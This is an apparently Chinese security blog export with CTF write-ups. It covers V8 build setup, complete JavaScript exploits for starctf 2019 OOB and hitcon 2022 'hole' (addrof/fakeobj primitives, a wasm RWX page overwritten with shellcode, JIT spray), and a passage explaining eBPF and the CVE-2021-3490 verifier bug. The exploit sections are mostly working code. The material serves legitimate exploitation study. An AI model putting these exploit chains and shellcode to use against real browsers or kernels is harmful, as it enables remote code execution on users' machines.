title="环境搭建"></a>环境搭建</h2><p>1.安装depot_tools</p><pre><code>git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitecho 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc</code></pre><p>2.安装ninja</p><pre><code>git clone https://github.com/ninja-build/ninja.gitcd ninja && ./configure.py --bootstrap && cd ..echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc</code></pre><p>3.下载v8</p><pre><code>fetch v8 && cd v8&& gclient sync</code></pre><p>4.配置参数</p><p>v8gen生成默认参数</p><pre><code>v8$ tools/dev/v8gen.py x64.debugv8/out.gn/x64.debug$ cat args.gnis_debug = truetarget_cpu = "x64"v8_enable_backtrace = truev8_enable_slow_dchecks = truev8_optimized_debug = false</code></pre><p>自定义参数</p><pre><code>gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'</code></pre><p>查看所有的可用参数</p><pre><code>gn args --list out.gn/x64.debug/</code></pre><p>5.编译</p><pre><code>ninja -C out.gn/x64.debug</code></pre><p>6.运行</p><pre><code>./out.gn/x64.debug/d8./out.gn/x64.debug/shell</code></pre><p>7.调试脚本</p><pre><code>cp /home/q1iq/Documents/v8/tools/gdbinit /home/q1iq/env/gdbinit_v8vim ~/.gdbinit 填入 source /home/q1iq/env/gdbinit_v8</code></pre><p>调试选项 <code>d8 --allow-natives-syntax test.js</code></p><pre><code>%SystemBreak();%DebugPrint(obj);</code></pre><p>调试的时候发现有个点,就是gdb启动d8的时候,必须在编译的目录下面,要不就找不到符号(用相对路径调了半天没符号才发现这个问题)。</p><pre><code>q1iq@ubuntu:~/Documents/v8/out/x64_hitcon.release$ gdb ./d8GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-gitCopyright (C) 2021 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<https://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...pwndbg: loaded 191 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from ./d8...pwndbg> </code></pre><p>这样就找不到符号:</p><pre><code>q1iq@ubuntu:~/Documents/v8/out$ gdb ./x64_hitcon.release/d8 GNU gdb (Ubuntu 10.1-2ubuntu2) 10.1.90.20210411-gitCopyright (C) 2021 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Type "show copying" and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<https://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...pwndbg: loaded 191 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from ./x64_hitcon.release/d8...warning: Could not find DWO CU obj/d8/d8.dwo(0xeef7718e4aa453d4) referenced by CU at offset 0xf4 [in module /home/q1iq/Documents/v8/out/x64_hitcon.release/d8]pwndbg> Quit</code></pre><h2 id="starctf-2019-OOB"><a href="#starctf-2019-OOB" class="headerlink" title="starctf 2019 OOB"></a>starctf 2019 OOB</h2><p>下载题目、编译,d8版本为7.5.0</p><pre><code>git clone https://github.com/sixstars/starctf2019.gitcd v8git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598git apply ../starctf2019/pwn-OOB/oob.diffgclient sync -Dgn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'ninja -C out/x64_startctf.release d8</code></pre><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p>题目给了diff文件,为Array增加了一个oob函数,实现为ArrayOob,当调用这个函数的参数的个数为1时,可以读Array的第length个成员,个数为2时,将参数1赋值给Array的第length个成员。这里ArrayOob是C++实现的成员函数,第一个参数是this指针,后面的才是js传入的参数。</p><p>因此定位到漏洞是Array对象的off by one的越界读写。</p><pre><code>--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace+BUILTIN(ArrayOob){+ uint32_t len = args.length();+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();+ Handle<JSReceiver> receiver;+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(+ isolate, receiver, Object::ToObject(isolate, args.receiver()));+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());+ uint32_t length = static_cast<uint32_t>(array->length()->Number());+ if(len == 1){+ //read+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));+ }else{+ //write+ Handle<Object> value;+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));+ elements.set(length,value->Number());+ return ReadOnlyRoots(isolate).undefined_value();+ }+}</code></pre><h3 id="方法一"><a href="#方法一" class="headerlink" title="方法一"></a>方法一</h3><p>基本原理是对象数组和浮点数数组类型混淆。</p><ol><li>篡改填充object的Array的map为Float64Array类型,访问elements中的object,可以将object的地址以float类型读出,实现任意object的地址泄露,实现为<code>obj_to_float</code>;</li><li>用数组伪造fake Float64Array的字段(exp里是array_box),泄露数组的地址计算偏移得到fake Float64Array的地址,将这个地址转为float,用object array类型访问这个float将其混淆为object得到fake Float64Array;</li><li>将fake Float64Array的elements字段指向任意地址,实现任意地址读写;</li><li>最后wasm一把梭弹计算器。具体是首先加载一段wasm代码到内存中,再泄露存放wasm编译后的汇编的内存地址,通过任意地址写原语用shellcode替换原本wasm的代码内容,最后调用wasm的函数接口触发调用shellcode。</li></ol><p>完整exp:</p><pre><code>//fulfilllet conversion_buffer = new ArrayBuffer(8);let float_view = new Float64Array(conversion_buffer);let int_view = new BigUint64Array(conversion_buffer);BigInt.prototype.hex = function() { return '0x' + this.toString(16);};BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0];}BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0];}Number.prototype.f2i = function() { float_view[0] = this; return int_view[0];}Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n;}Number.prototype.i2f = function() { return BigInt(this).i2f();}Number.prototype.smi2f = function() { return BigInt(this).smi2f();}function debug(){ console.log("debug..."); readline();}function gc(){ for(var i=0;i<0x10;i++){ new ArrayBuffer(0x1000000); }}function fail(str){ console.log("FAIL:",str); throw null;}//trigger patchvar float_arr = [1.1,2,3,4];var obj_sample = {"what":"ever"};var obj_arr = [obj_sample];var float_arr_map=float_arr.oob();var obj_arr_map=obj_arr.oob();function obj_to_float(o){ obj_arr[0] = o; obj_arr.oob(float_arr_map); var num = obj_arr[0]; obj_arr.oob(obj_arr_map); return num;}var array_box = [ float_arr_map, // fake obj |map 2, // |properties 3, // |elements 4, 5, 6, 7, 8, 9, 1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];// leak addr of array_boxvar array_box_addr = obj_to_float(array_box).f2i()-1n;console.log(array_box_addr.hex());//%DebugPrint(array_box);// fake objectvar fake_obj_addr = array_box_addr-0x80n;float_arr[0] = (fake_obj_addr+1n).i2f();float_arr.oob(obj_arr_map);var fake_obj = float_arr[0]; //get a object whose addr is fakce_obj_addrfloat_arr.oob(float_arr_map);// Arbitrary address read function read64(leak_addr){ array_box[2] = (leak_addr - 0x10n + 0x1n).i2f(); return fake_obj[0].f2i(); }// Arbitrary address writefunction write64(addr,data){ //addr, data: BigInt array_box[2] = (addr - 0x10n + 0x1n).i2f(); fake_obj[0] = data.i2f();}// wasm -> shellcodevar wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_module = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_module, {});var f = wasm_instance.exports.main;var f_addr = obj_to_float(f).f2i()-1n;console.log("[*] leak wasm addr: " + f_addr.hex());var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;var rwx_page_addr = read64(wasm_instance_addr + 0x88n);console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]var data_buf = new ArrayBuffer(0xa0);var data_view = new DataView(data_buf);var buf_backing_store_addr = obj_to_float(data_buf).f2i()-1n + 0x20n;write64(buf_backing_store_addr, rwx_page_addr); for (var i = 0; i < shellcode.length; i++) { data_view.setFloat64(i*8, shellcode[i].i2f(), true);}f();</code></pre><h3 id="方法二"><a href="#方法二" class="headerlink" title="方法二"></a>方法二</h3><p>参考<a href="https://p1umer.github.io/2019/05/06/Star-CTF-OOB-writeup/">P1umer大佬的方法</a>,基本原理是Object和Array的类型混淆。</p><p>构建如下obj1,obj2,用obj1的类型访问obj2.a,就可以达到覆写obj2原本的size位的效果,将size位写成一个很大的值就可以实现一定距离数组越界读写。在obj2下方构建一个Float64Array,修改Float64Array的elements,即可实现任意地址写。最后wasm一把梭。</p><pre><code>var obj1 = {a:1,b:2};var obj2 = new Array(10);</code></pre><p>obj1内存布局如下:</p><p><img src="/img/image-20220527233721754.png" alt="image-20220527233721754"></p><p>obj2内存布局如下:</p><p><img src="/img/image-20220527233750007.png" alt="image-20220527233750007"></p><p>另外这里和法一有点区别的是,用<code> new Array(10);</code>分配数组时,jsArray在FixedArray上方,<code>var float_arr = [1.1,2,3,4];</code>这样分配时,jsArray在FixedArray下方。</p><p>完整exp:</p><pre><code>//fulfilllet conversion_buffer = new ArrayBuffer(8);let float_view = new Float64Array(conversion_buffer);let int_view = new BigUint64Array(conversion_buffer);BigInt.prototype.hex = function() { return '0x' + this.toString(16);};BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0];}BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0];}Number.prototype.f2i = function() { float_view[0] = this; return int_view[0];}Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n;}Number.prototype.i2f = function() { return BigInt(this).i2f();}Number.prototype.smi2f = function() { return BigInt(this).smi2f();}function debug(){ console.log("debug..."); readline();}function gc(){ for(var i=0;i<0x10;i++){ new ArrayBuffer(0x1000000); }}function fail(str){ console.log("FAIL:",str); throw null;}//trigger patchvar array1 = new Array(10);//%DebugPrint(array1);var obj1 = {a:1,b:2};var array2 = new Array(10);var obj2 = new Array(10);var obj1_map=array1.oob();var obj2_map=array2.oob();//%DebugPrint(obj1);//%DebugPrint(obj2);array2.oob(obj1_map);obj2.a=0x100; //obj2.sizearray2.oob(obj2_map);obj2[0]=1.1; //make obj2 a Float64Arrayvar exp_array = new Array(10);exp_array[0]=1.1; //make exp a Float64Arrayexp_array[1]=1.2;leak_exp_addr=obj2[19].f2i()-0x1n; //elements of exp //%DebugPrint(exp);console.log("[*] leak_exp_addr: ",leak_exp_addr.hex());function read64(leak_addr) { //%SystemBreak(); obj2[19]=(leak_addr+1n-0x10n).i2f(); //%SystemBreak(); return exp_array[0].f2i()}function write64(addr,data){ obj2[19]=(addr+1n-0x10n).i2f(); exp_array[0]=data.i2f();}// wasm -> shellcodevar wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasm_module = new WebAssembly.Module(wasm_code);var wasm_instance = new WebAssembly.Instance(wasm_module, {});var f = wasm_instance.exports.main;//%DebugPrint(f);array1[0] = f;console.log("[*] leak wasm addr in : " + (leak_exp_addr-0x358n).hex());var f_addr = read64(leak_exp_addr-0x358n)-0x1n;console.log("[*] leak wasm addr: " + f_addr.hex());//%SystemBreak();var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;var rwx_page_addr = read64(wasm_instance_addr + 0x88n);console.log("[*] leak rwx_page_addr: " + rwx_page_addr.hex());var shellcode =[0x010101010101b848n, 0x68632eb848500101n, 0x0431480169722e6fn, 0x0cfe016ae7894824n, 0x63782f6e69b84824n, 0x3b30b84850636c61n, 0x4850622f7273752fn, 0x303a3d59414c50b8n, 0x74726f70b848502en, 0x01b8485053494420n, 0x5001010101010101n, 0x01622c016972b848n, 0xf631240431487964n, 0x56e601485e0e6a56n, 0x6a56e601485e136an, 0x894856e601485e18n, 0x050f583b6ad231e6n]var data_buf = new ArrayBuffer(0xa0);var data_view = new DataView(data_buf);array1[0] = data_buf;var buf_backing_store_addr = read64(leak_exp_addr-0x358n)-0x1n + 0x20n;write64(buf_backing_store_addr, rwx_page_addr); for (var i = 0; i < shellcode.length; i++) { data_view.setFloat64(i*8, shellcode[i].i2f(), true);}f();</code></pre><p>不过我调试这种方法的时候发现,每次运行read64时都会卡在<code>Builtins_StoreFastElementIC_Standard+4889</code>,一直c可以c到shellcode,但是在终端直接跑脚本会报<code>Trace/breakpoint trap</code>,没排查出错误原因是什么,挖个坑以后填吧。</p><p><img src="/img/image-20220528030619137.png" alt="image-20220528030619137"></p><p><img src="/img/image-20220528032358401.png" alt="image-20220528032358401"></p><h2 id="hitcon-2022-11-hole"><a href="#hitcon-2022-11-hole" class="headerlink" title="hitcon 2022.11 hole"></a>hitcon 2022.11 hole</h2><pre><code>const print = console.log;const assert = function (b, msg){ if (!b) throw Error(msg);};const __buf8 = new ArrayBuffer(8);const __dvCvt = new DataView(__buf8);function d2u(val){ //double ==> Uint64 __dvCvt.setFloat64(0, val, true); return __dvCvt.getUint32(0, true) + __dvCvt.getUint32(4, true) * 0x100000000;}function u2d(val){ //Uint64 ==> double const tmp0 = val % 0x100000000; __dvCvt.setUint32(0, tmp0, true); __dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true); return __dvCvt.getFloat64(0, true);}function d22u(val){ //double ==> 2 * Uint32 __dvCvt.setFloat64(0, val, true);}const hex = (x) => ("0x" + x.toString(16));const foo = ()=>{ return [1.0, 1.95538254221075331056310651818E-246, 1.95606125582421466942709801013E-246, 1.99957147195425773436923756715E-246, 1.95337673326740932133292175341E-246, 2.63486047652296056448306022844E-284];}for (let i = 0; i < 0x10000; i++) { foo();foo();foo();foo();}let a=[1.1,,,,,1]function trigger() { var hole = a.hole() return hole}var map1 = null;var foo_arr = null;function getmap(m) { m = new Map(); m.set(1, 1); m.set(trigger(), 1); m.delete(trigger()); m.delete(trigger()); m.delete(1); return m;}map1 = getmap(map1);foo_arr = new Array(1.1, 1.1);// 1.1=3ff199999999999amap1.set(0x10, -1);map1.set(foo_arr, 0xffff); // length 65535 const arr = [1.1,1.2,1.3];const o = {x:0x1337, a:foo };const ab = new ArrayBuffer(20);const ua = new Uint32Array(ab);foo_arr[14] = 1.1; // arr lengthd22u(arr[5]);const fooAddr = __dvCvt.getUint32(0, true);//print(hex(fooAddr));//%DebugPrint(foo);//%DebugPrint(foo_arr);//%DebugPrint(arr);//%DebugPrint(ua);var offset = 28function readOff(off){ arr[offset] = u2d((off) * 0x1000000); return ua[0];}function writeOff(off, val){ arr[offset] = u2d((off) * 0x1000000); ua[0] = val;}//%SystemBreak();codeAddr = readOff(fooAddr -1+ 0x18);//print(hex(codeAddr));jitAddr = readOff(codeAddr-1 + 0xc);//print(hex(jitAddr));writeOff(codeAddr-1 + 0xc, jitAddr + 0x95-0x19);foo();//%SystemBreak();</code></pre><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://paper.seebug.org/1822/">https://paper.seebug.org/1822/</a></p><p><a href="https://www.freebuf.com/vuls/203721.html">https://www.freebuf.com/vuls/203721.html</a></p><p><a href="https://p1umer.github.io/2019/05/06/Star-CTF-OOB-writeup/">https://p1umer.github.io/2019/05/06/Star-CTF-OOB-writeup/</a></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>Linux eBPF模块漏洞利用学习记录</title>
<link href="Linux-eBPF-exploit/"/>
<url>Linux-eBPF-exploit/</url>
<content type="html"><![CDATA[<p><img src="/images/nasa-whDrFMucHkc-unsplash.jpg" alt="cover"></p><h3 id="技术分析"><a href="#技术分析" class="headerlink" title="技术分析"></a>技术分析</h3><h4 id="eBPF简介"><a href="#eBPF简介" class="headerlink" title="eBPF简介"></a>eBPF简介</h4><p>linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是需要编写内核模块,当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道:<code>BPF(Berkeley Packet Filter)</code>提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码,并通过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以<code>map(key,value)</code>的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。</p><p>BPF发展经历了2个阶段,<code>cBPF(classic BPF)</code>和<code>eBPF(extend BPF)</code>(linux内核3.15以后),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。</p><p>eBPF程序的运行过程如下:在用户空间生产eBPF“字节码”,然后将“字节码”加载进内核中的“虚拟机”中,然后进行一系列检查,通过则能够在内核中执行这些“字节码”。类似Java与JVM虚拟机,但是这里的虚拟机是在内核中的。</p><p>eBPF起初是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙,安全,内核调试与性能分析等领域。</p><p><img src="/img/image-20220312150439245.png" alt="image-20220312150439245"></p> <center>图 Bvp47-美国NSA方程式的顶级后门使用BPF技术实现隐蔽信道</center> <div style="page-break-after: always; break-after: page;"></div><h4 id="eBPF虚拟指令系统"><a href="#eBPF虚拟指令系统" class="headerlink" title="eBPF虚拟指令系统"></a>eBPF虚拟指令系统</h4><p><strong>寄存器</strong>eBPF虚拟指令系统属于RISC(所有指令长度相同),拥有10个虚拟寄存器,R0-R10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:</p><pre><code class="c"> R0 – rax (函数返回值) R1 - rdi (参数) R2 - rsi (参数) R3 - rdx (参数) R4 - rcx (参数) R5 - r8 (参数) R6 - rbx R7 - r13 R8 - r14 R9 - r15 R10 – rbp(只读,栈指针,frame pointer)</code></pre><div style="page-break-after: always; break-after: page;"></div><p><strong>指令结构体</strong> </p><p><code>struct bpf_insn</code>,每一个eBPF程序都是一个<code>bpf_insn</code>数组,使用bpf系统调用将其载入内核。</p><pre><code class="rust">struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */};</code></pre><div style="page-break-after: always; break-after: page;"></div><p><strong>功能</strong></p><p>程序功能由code字节决定,最低3位表示大类功能,共<a href="https://elixir.bootlin.com/linux/v4.4.110/source/include/uapi/linux/bpf_common.h#L6">7类大功能</a>:</p><pre><code class="c">#define BPF_CLASS,(code) ((code) & 0x07)#define BPF_LD 0x00 #define BPF_LDX 0x01#define BPF_ST 0x02#define BPF_STX 0x03#define BPF_ALU 0x04#define BPF_JMP 0x05#define BPF_RET 0x06#define BPF_MISC 0x07</code></pre><div style="page-break-after: always; break-after: page;"></div><p>各大类功能可组合成不同的新功能。</p><p><strong>例如</strong>一条简单的x86指令:<code>mov esi,0xffffffff</code>,对应BPF指令为<code>BPF_MOV32_IMM(BPF_REG_2, 0xffffffff)</code>,对应数据结构为:</p><pre><code class="c">#define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM })</code></pre><p><code>dst_reg</code>代表目的寄存器,限制为0-10;<code>src_reg</code>代表目的寄存器,限制为0-10;<code>off</code>代表地址偏移;<code>imm</code>代表立即数。</p><p>这里BPF_X 指基于寄存器的操作数(register-based operations),BPF_K 指基于立即操作数(immediate-based operations)。</p><div style="page-break-after: always; break-after: page;"></div><h4 id="BPF加载过程"><a href="#BPF加载过程" class="headerlink" title="BPF加载过程"></a>BPF加载过程</h4><p>(1)<code>syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))</code></p><p>申请一个map结构,这个结构是用户态与内核态交互的一块共享内存,在<code>attr</code>结构体中指定map的类型、大小、最大容量。map会被分配一个文件描述符。</p><pre><code class="c">int bpf_create_map(enum bpf_map_type map_type, unsigned int key_size, unsigned int value_size, unsigned int max_entries){ union bpf_attr attr = { .map_type = map_type, .key_size = key_size, //表示索引的大小 .value_size = value_size, //map数组每个元素的大小 .max_entries = max_entries //map数组的大小 }; return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));}</code></pre><div style="page-break-after: always; break-after: page;"></div><p>内核态调用<code>BPF_FUNC_map_lookup_elem</code>查看map中的数据,用户态通过<code>syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))</code>查看map中的数据。</p><pre><code class="c">int bpf_lookup_elem(int fd, const void *key, void *value){ union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), }; return syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));}</code></pre><div style="page-break-after: always; break-after: page;"></div><p><code>syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))</code></p><p>对map数据进行更新。</p><pre><code class="c">int bpf_update_elem(int fd, const void *key, const void *value, uint64_t flags){ union bpf_attr attr = { .map_fd = fd, .key = ptr_to_u64(key), .value = ptr_to_u64(value), .flags = flags, }; return syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));}</code></pre><div style="page-break-after: always; break-after: page;"></div><p>(2)<code>syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))</code></p><p>将用户编写的EBPF代码加载进入内核,采用模拟执行对代码进行合法性检查,<code>attr</code>结构体中包含了指令数量、指令首地址指针、日志级别等属性。</p><pre><code class="c">int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn *insns, int insn_cnt, const char *license){ union bpf_attr attr = { .prog_type = type, .insns = ptr_to_u64(insns), .insn_cnt = insn_cnt, .license = ptr_to_u64(license), .log_buf = ptr_to_u64(bpf_log_buf), .log_size = LOG_BUF_SIZE, .log_level = 1, }; return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));}</code></pre><div style="page-break-after: always; break-after: page;"></div><p>(3)<code>setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)</code>—将用户写的BPF程序绑定到指定的socket上,<code>progfd</code>为上一步骤的返回值。</p><p>(4)用户程序通过操作上一步骤中的socket来触发BPF真正执行。此后对于每一个socket数据包执行EBPF代码进行检查,此时为真实执行。</p><div style="page-break-after: always; break-after: page;"></div><p><strong>总结:加载过程</strong></p><pre><code class="c"> mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 0x100); if (mapfd < 0) __exit(strerror(errno)); puts("mapfd finished"); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); //__prog代码 if (progfd < 0) __exit(strerror(errno)); puts("bpf_prog_load finished"); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) __exit(strerror(errno)); puts("socketpair finished"); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) __exit(strerror(errno)); puts("setsockopt finished");</code></pre><div style="page-break-after: always; break-after: page;"></div><h4 id="内核中的eBPF验证程序"><a href="#内核中的eBPF验证程序" class="headerlink" title="内核中的eBPF验证程序"></a>内核中的eBPF验证程序</h4><p>允许用户代码在内核中运行存在一定的危险性。因此,在加载每个eBPF程序之前,都要执行合法性检查。主要函数是bpf_check(),包含check_cfg()和do_check_main()函数。</p><p>第一,调用check_cfg()——确保eBPF程序能正常终止,不包含任何可能导致内核锁定的循环。这是通过对程序的控制流图CFG进行深度优先搜索来实现的。程序需3个条件:a.所有指令必须可达;b.没有往回跳转的指令;c.没有跳的太远超出指令范围的指令。</p><p>第二,调用do_check_main()->do_check_common()->do_check()——内核验证器(verifier ),模拟eBPF程序的执行,模拟通过后才能正常加载。在执行每条指令之前和之后,都需要检查虚拟机状态,以确保寄存器和堆栈状态是有效的。禁止越界跳转,也禁止访问非法数据。</p><p>第三,验证器使用eBPF程序类型来限制可以从eBPF程序中调用哪些内核函数以及可以访问哪些数据结构。</p><div style="page-break-after: always; break-after: page;"></div><p>bpf程序的执行流程如下图:</p><img src="img/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3Bhbmhld3U5OTE5,size_16,color_FFFFFF,t_70.png" alt="在这里插入图片描述" style="zoom:67%;" /><p>在verify阶段,当指针和常数进行各种数学运算,如addr+x时,会使用x的取值范围去验证这样的运算是否越界。</p><p>所以,如果在verify阶段,常数变量的取值范围计算存在逻辑上的漏洞,就会导致该变量实际运行时的值不在取值范围内。 假设用户申请了一块0x1000的map,然后用户想读写map+x位置的内存,x是常数变量。由于漏洞,verify阶段计算x的取值范围是 0<=x<=0x1000, 验证通过,然后jit compile成汇编执行。但是实际用户传入x的值是0x2000,这样就导致了内存的越界读写。 CVE-2020-8835、CVE-2020-27194、CVE-2021-3490以及GeekPwn的kernel题都是这种类型的洞。</p><div style="page-break-after: always; break-after: page;"></div><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><h4 id="CVE-2021-3490"><a href="#CVE-2021-3490" class="headerlink" title="CVE-2021-3490"></a>CVE-2021-3490</h4><p>影响版本: Linux kernel before version 5.12.4</p><p>漏洞成因:eBPF模块—<code>kernel/bpf/verifier.c</code>的按位操作(AND、OR 和 XOR)的 eBPF ALU32 边界跟踪没有正确更新 32 位边界,造成 Linux 内核中的越界读取和写入,从而导致任意代码执行。</p><div style="page-break-after: always; break-after: page;"></div><h5 id="漏洞调用链"><a href="#漏洞调用链" class="headerlink" title="漏洞调用链"></a>漏洞调用链</h5><p>adjust_scalar_min_max_vals在更新边界时,会调用scalar32_min_max_and和scalar_min_max_and分别更新32位和64位边界。</p><pre><code class="c">static int adjust_scalar_min_max_vals(..){...case BPF_AND: dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off); scalar32_min_max_and(dst_reg, &src_reg); // <--- scalar_min_max_and(dst_reg, &src_reg); break;</code></pre><div style="page-break-after: always; break-after: page;"></div><p>但是开发者错误地假设了处理64位的scalar_min_max_and的__mark_reg_known(dst_reg, dst_reg->var_off.value);会帮32位更新边界,因此没有在32位的scalar32_min_max_and里写边界更新函数。</p><pre><code class="c">static void scalar32_min_max_and(struct bpf_reg_state *dst_reg, struct bpf_reg_state *src_reg){ bool src_known = tnum_subreg_is_const(src_reg->var_off); bool dst_known = tnum_subreg_is_const(dst_reg->var_off); struct tnum var32_off = tnum_subreg(dst_reg->var_off); s32 smin_val = src_reg->s32_min_value; u32 umax_val = src_reg->u32_max_value; /* Assuming scalar64_min_max_and will be called so its safe * to skip updating register for known 32-bit case. */ if (src_known && dst_known) return;...}</code></pre><div style="page-break-after: always; break-after: page;"></div><p>实际上,64位的scalar_min_max_and会使用__mark_reg_known更新32位边界的条件是,src和dst都是64位数,因此,32位的dst_reg并没有更新边界。</p><p>这导致32位的dst_reg的边界是计算前的值,而非计算后的值。</p><pre><code class="c">static void scalar_min_max_and(struct bpf_reg_state *dst_reg, struct bpf_reg_state *src_reg){ bool src_known = tnum_is_const(src_reg->var_off); bool dst_known = tnum_is_const(dst_reg->var_off); s64 smin_val = src_reg->smin_value; u64 umin_val = src_reg->umin_value; if (src_known && dst_known) { __mark_reg_known(dst_reg, dst_reg->var_off.value); return; } ...}</code></pre><div style="page-break-after: always; break-after: 